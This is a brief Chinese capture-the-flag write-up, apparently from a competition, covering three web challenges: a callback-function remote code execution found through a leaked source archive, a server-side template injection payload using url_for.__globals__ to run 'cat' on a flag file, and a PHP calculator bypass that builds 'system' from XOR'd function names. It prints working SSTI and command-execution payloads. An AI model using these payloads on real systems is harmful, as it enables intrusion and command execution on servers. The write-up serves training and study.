一场言难尽比赛,孤军奋战,尽力就好…..
day1
web1
扫一下目录,有个www.rar,解压审计一下代码,找到关键文件key.php
1 |
|
回调函数的rce,不过因为参数c过滤不严格,导致可以通过getheader来rce。
先var_dump(scand(“/“))找到flag文件,再用readfile读就可以了。
Web2
随便输入账户登录进去,fuzz一下,在每日报告的第三个参数存在ssti。过滤了些关键字,用globals来找就行。
payload:
1 | status_1=&status_2=&status_3={{url_for.__globals__.os.popen('cat /flag2333_canufindit').read()}} |
day2
simplecalculator
一个简单的命令执行,Ban一些符号与字符函数,可以通过重载函数的方法来调用。因此我们利用异或拼出GET然后调用system来rec。
Payload如下:
1 | `http://172.1.21.13/flag.php?search=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag.txt |
`